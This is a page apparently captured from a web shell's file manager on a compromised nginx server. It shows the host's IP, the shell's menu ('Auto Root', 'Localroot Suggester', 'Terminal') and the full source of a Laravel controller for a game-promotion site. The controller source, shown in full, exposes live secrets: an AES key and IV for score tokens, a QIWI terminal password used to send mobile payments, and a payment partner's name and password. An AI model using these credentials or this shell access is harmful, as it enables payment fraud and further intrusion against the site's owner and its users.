Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.144.237.87
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
app /
Http /
Controllers /
Delete
Unzip
Name
Size
Permission
Date
Action
Auth
[ DIR ]
drwxr-xr-x
2018-12-04 21:08
AjaxController.php
23.61
KB
-rw-r--r--
2021-05-31 12:36
AuthController.php
20.44
KB
-rw-r--r--
2022-03-17 06:38
ChatsController.php
48.85
KB
-rw-r--r--
2023-02-17 19:15
Controller.php
361
B
-rw-r--r--
2021-02-09 19:47
Cpayeer.php
4.13
KB
-rw-r--r--
2021-03-29 14:58
HomeController.php
500
B
-rw-r--r--
2021-05-06 16:58
RestController.php
19.57
KB
-rw-r--r--
2023-05-03 17:49
Save
Rename
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Response; use App\Models\Signings; use App\Models\Impacts; use Illuminate\Support\Facades\Redirect; use RedirectsUsers; use Session; use DB; class RestController extends Controller { public function __construct() { //$this->middleware('auth'); } public function saveScore(Request $request) { $error = ''; $t = Session::get('save_string'); if (!$t) { Session::put('save_string', $request->get('t')); $t = Session::get('save_string'); } //echo "dfs ".$t; //echo "<br>".$request->get('t'); if ($t AND \Auth::user()->id) { $data = str_replace(array('-','_','.'),array('+','/','='),$t); $mod4 = strlen($data) % 4; if ($mod4) $data .= substr('====', $mod4); $data = \base64_decode($data); //$key = 'nf72190mabnxrq904lgu2nffu2ho4p2y'; $key = '{tz21=0mabnxrq91$lgu2nffuC(o4p2y'; $iv = 'sd8u21vrlab11=sd'; $cipher = \mcrypt_module_open(MCRYPT_RIJNDAEL_128,'','cbc',''); \mcrypt_generic_init($cipher, $key, $iv); $decrypted = \mdecrypt_generic($cipher,$data); \mcrypt_generic_deinit($cipher); $arrDataTMP = explode("|", $decrypted); //echo "<pre>"; //print_r($arrDataTMP); //echo "</pre>"; if (!empty($arrDataTMP)) { $game = $allHW = $OS = $device = $date = ''; $can_accept = 1; foreach ($arrDataTMP as $res) { if (substr_count($res, 'm6=')>0) { $game = str_replace("m6=", '', $res); } if (substr_count($res, 'm7=')>0) { $allHW = str_replace("m7=", '', $res); } if (substr_count($res, 'm8=')>0) { $OS = str_replace("m8=", '', $res); } if (substr_count($res, 'm9=')>0) { $device = str_replace("m9=", '', $res); } if (substr_count($res, 'm12=')>0) { $date = str_replace("m12=", '', $res); } } //if ($OS!="Gen4WB") { $HW_month = 0; //->where('scoredate', '>', mktime(0, 0, 0, date('m'), date('d'), date('Y')))->where('scoredate', '<', mktime(23, 59, 59, date('m'), date('d'), date('Y'))) $signings = DB::table('signings')->where(['product_id' => 1, 'user_id' => \Auth::user()->id])->get(); if (!empty($signings)) { foreach ($signings as $s) { $dt = $s->created_at; if (strtotime($dt) > mktime(0, 0, 0, date('m'), date('d'), date('Y')) AND strtotime($dt) < mktime(23, 59, 59, date('m'), date('d'), date('Y'))) { $HW_month += $s->productscore1; } } } //echo "sdfd ".$HW_month; //die('sdf'); if ($game and $allHW and $OS and $device and $date and $HW_month < 10000) { $cur_score = DB::table('signings')->where('save_string', $t)->get(); if (empty($cur_score[0])) { $Signings = new Signings(); $Signings->user_id = \Auth::user()->id; $Signings->product_id = 1; $Signings->productscore1 = $allHW; $Signings->os = $OS; $Signings->device = $device; $Signings->scoredate = $date; $Signings->save_string = $t; $Signings->active = 'Y'; $Signings->created_at = time(); $Signings->updated_at = time(); $Signings->save(); $HW = intval(\Auth::user()->HW); $user = DB::table('users')->where('id', \Auth::user()->id)->update(['HW' => ($HW + $allHW)]); } else { Session::forget('save_string'); $error = "Ваш результат уже сохранен"; } } /*} else { Session::forget('save_string'); $error = "Эта ссылка может быть использована только по промо акции."; return Redirect::to('/?status=error'); //return ['status' => 'Error', 'message' => $error]; }*/ } Session::forget('save_string'); return Redirect::to('/?status=Ok'); //return ['status' => 'Ok', 'message' => 'Результат успешно сохранен']; } else { return Redirect::to('/?auth=do'); } Session::forget('save_string'); return Redirect::to('/?status=error'); //return ['status' => 'Error', 'message' => $error]; } public function candyScore(Request $request) { return view('candy', [ ]); } public function saveCandyScore(Request $request) { $error = ''; $t = Session::get('save_string'); if (!$t) { Session::put('save_string', $request->get('t')); $t = Session::get('save_string'); } //echo "dfs ".$t; //echo "<br>".$request->get('t'); if ($t and $request->get('phone')) { $data = str_replace(array('-', '_', '.'), array('+', '/', '='), $t); $mod4 = strlen($data) % 4; if ($mod4) $data .= substr('====', $mod4); $data = \base64_decode($data); //$key = 'nf72190mabnxrq904lgu2nffu2ho4p2y'; $key = '{tz21=0mabnxrq91$lgu2nffuC(o4p2y'; $iv = 'sd8u21vrlab11=sd'; $cipher = \mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', 'cbc', ''); \mcrypt_generic_init($cipher, $key, $iv); $decrypted = \mdecrypt_generic($cipher, $data); \mcrypt_generic_deinit($cipher); $arrDataTMP = explode("|", $decrypted); $user = trim(str_replace(["7(",")","-"],["8","",""],$request->get('phone'))); $clear_phone = trim(str_replace(["7(",")","-"],["","",""],$request->get('phone'))); if (!empty($arrDataTMP)) { $game = $allHW = $OS = $device = $date = ''; $can_accept = 1; foreach ($arrDataTMP as $res) { if (substr_count($res, 'm6=') > 0) { $game = str_replace("m6=", '', $res); } if (substr_count($res, 'm7=') > 0) { $allHW = str_replace("m7=", '', $res); } if (substr_count($res, 'm8=') > 0) { $OS = str_replace("m8=", '', $res); } if (substr_count($res, 'm9=') > 0) { $device = str_replace("m9=", '', $res); } if (substr_count($res, 'm12=') > 0) { $date = str_replace("m12=", '', $res); } } if ($OS=="Gen4WB") { $sign_total = 0; $signings = DB::table('signings')->where(['product_id' => 2, 'user_id' => $user])->where('scoredate', '>', mktime(0, 0, 0, date('m'), date('d'), date('Y')))->where('scoredate', '<', mktime(23, 59, 59, date('m'), date('d'), date('Y')))->get(); if (!empty($signings)) { foreach ($signings as $s) { $sign_total++; } } if ($game and $OS and $device and $date and $sign_total <= 8) { $cur_score = DB::table('signings')->where('save_string', $t)->get(); if (empty($cur_score[0])) { $Signings = new Signings(); $Signings->user_id = $user; $Signings->product_id = 2; $Signings->productscore1 = $allHW; $Signings->os = $OS; $Signings->device = $device; $Signings->scoredate = $date; $Signings->save_string = $t; $Signings->active = 'Y'; $Signings->created_at = time(); $Signings->updated_at = time(); $Signings->phone = $request->get('phone'); $Signings->save(); $requestId = '157'.$Signings->id; $api_url = "https://api.qiwi.com/xml/xmlcp.jsp"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); $data = '<?xml version="1.0" encoding="utf-8"?> <request> <request-type>get-provider-by-phone-number</request-type> <terminal-id>33686</terminal-id> <phonenumber>7'.$clear_phone.'</phonenumber> <extra name="password">hxgnz5mwme</extra> </request>'; curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($code==200) { $arTmp = explode('<provider id="', $output); $arTmp2 = explode('"', $arTmp[1]); $operator_id = $arTmp2[0]; if ($operator_id) { $api_url = "https://api.qiwi.com/xml/topup.jsp"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); $data = '<?xml version="1.0" encoding="utf-8"?> <request> <request-type>pay</request-type> <terminal-id>33686</terminal-id> <extra name="password">hxgnz5mwme</extra> <auth> <payment> <transaction-number>'.$requestId.'</transaction-number> <from> <ccy>RUB</ccy> </from> <to> <amount>10.00</amount> <ccy>RUB</ccy> <service-id>29130</service-id> <account-number>7'.$clear_phone.'</account-number> <extra name="account0">id:'.$operator_id.';acc:'.$clear_phone.';sum:10.00</extra> </to> </payment> </auth> </request>'; curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); } } /* $api_url = "https://api.prostodar.ru/partner/mobile/pay/"; $requestId = '157.'.$Signings->id; $partnerName = 'ip_krupnov_egor_vyacheslavovich'; $partnerPassword = 'ShEmobTOYxfUYCbMlxyOZflXEd0mH8Au'; $operatorCode = $request->get('phone-code'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); $headers = array("Content-Type: application/json", "Accept: application/json"); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $data = '{"requestId":"'.$requestId.'","partnerName":"' . $partnerName . '","partnerPassword":"' . $partnerPassword . '","operatorCode":"'.$operatorCode.'","phoneNumber":"'.$clear_phone.'","sum":"9"}'; curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $arResult = json_decode($output); */ //$HW = intval(\Auth::user()->HW); //$user = DB::table('users')->where('id', $user)->update(['HW' => ($HW + $allHW)]); } else { Session::forget('save_string'); $error = "QR недействителен"; return ['status' => 'Error', 'message' => $error, 'output'=>$output]; } } else { $error = "Превышено дневное количество попыток с указанным номером телефона"; return ['status' => 'Error', 'message' => $error]; } } else { $error = "Эта ссылка может быть использована только в играх."; return ['status' => 'Error', 'message' => $error]; } } Session::forget('save_string'); //return Redirect::to('/?status=Ok'); return ['status' => 'Ok', 'message' => 'Хепики применены!', 'output'=>$output]; } else { $error = "QR недействителен"; return ['status' => 'Error', 'message' => $error]; //return Redirect::to('/?auth=do'); } return ['status' => 'Error', 'message' => $error, 'output'=>$output]; } public function doImpact(Request $request) { $rate = 0.0001; if (\Auth::check() AND $request->get('HW') AND $request->get('type')) { $Impacts = new Impacts(); $Impacts->user_id = \Auth::user()->id; $Impacts->HW = $request->get('HW'); $Impacts->rate = $rate; $Impacts->type = $request->get('type'); $Impacts->created_at = time(); $Impacts->save(); } } public function calculateCountries() { $borders = DB::table('borders')->orderBy('id', 'asc')->get(); $top_border = $borders[0]->value; $bottom_border = $borders[1]->value; $top_indicator_border = 75; $bottom_indicator_border = 25; $countries = DB::table('indicator')->orderBy('id', 'asc')->get(); foreach ($countries as $country) { $rand = mt_rand(0,1); $coef = 0; $position = $country->position; if ($rand==1) $coef = 0.1; else $coef = -0.1; if ($country->position==$top_indicator_border AND $coef == 0.1) $position = $country->position; elseif ($country->position==$bottom_indicator_border AND $coef == -0.1) $position = $country->position; elseif ($country->position>$top_border) { if ($this->checkWithProbability(0.6, 100)) $position = $country->position - 0.1; else $position = $country->position + 0.1; } elseif ($country->position<$bottom_border) { if ($this->checkWithProbability(0.6, 100)) $position = $country->position + 0.1; else $position = $country->position - 0.1; } else $position = $country->position + $coef; if ($position>$top_indicator_border) $position = $top_indicator_border; if ($position<$bottom_indicator_border) $position = $bottom_indicator_border; DB::table('indicator')->where('id', $country->id)->update(['position'=>$position]); } } function checkWithProbability($probability=0.6, $length=1) { $test = mt_rand(1, $length); return $test<=$probability*$length; } function pubPdf() { $file = public_path()."/pub.pdf"; $headers = array('Content-Type: application/pdf'); return Response::download($file, 'pub.pdf', $headers); } function usePdf() { $file = public_path()."/use.pdf"; $headers = array('Content-Type: application/pdf'); return Response::download($file, 'use.pdf', $headers); } function dataPdf() { $file = public_path()."/data.pdf"; $headers = array('Content-Type: application/pdf'); return Response::download($file, 'data.pdf', $headers); } public function getBalance() { $balance = 0; if (\Auth::check()) { if (\Auth::user()->id==1) { $api_url = "https://api.qiwi.com/xml/xmlcp.jsp"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); $data = '<?xml version="1.0" encoding="utf-8"?> <request> <request-type>ping</request-type> <terminal-id>33686</terminal-id> <extra name="password">hxgnz5mwme</extra> </request>'; curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); echo "dfs<quote>".$output."</quote>"; /* $api_url = "https://api.prostodar.ru/partner/get_balance/"; $partnerName = 'ip_krupnov_egor_vyacheslavovich'; $partnerPassword = 'ShEmobTOYxfUYCbMlxyOZflXEd0mH8Au'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $api_url); curl_setopt($ch, CURLOPT_POST, 1); $headers = array("Content-Type: application/json", "Accept: application/json"); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); $data = '{"partnerName":"' . $partnerName . '","partnerPassword":"' . $partnerPassword . '"}'; curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $output = curl_exec($ch); curl_close($ch); $arResult = json_decode($output); $balance = $arResult->balance; */ } } return view('balance', [ 'balance'=>$balance ]); } }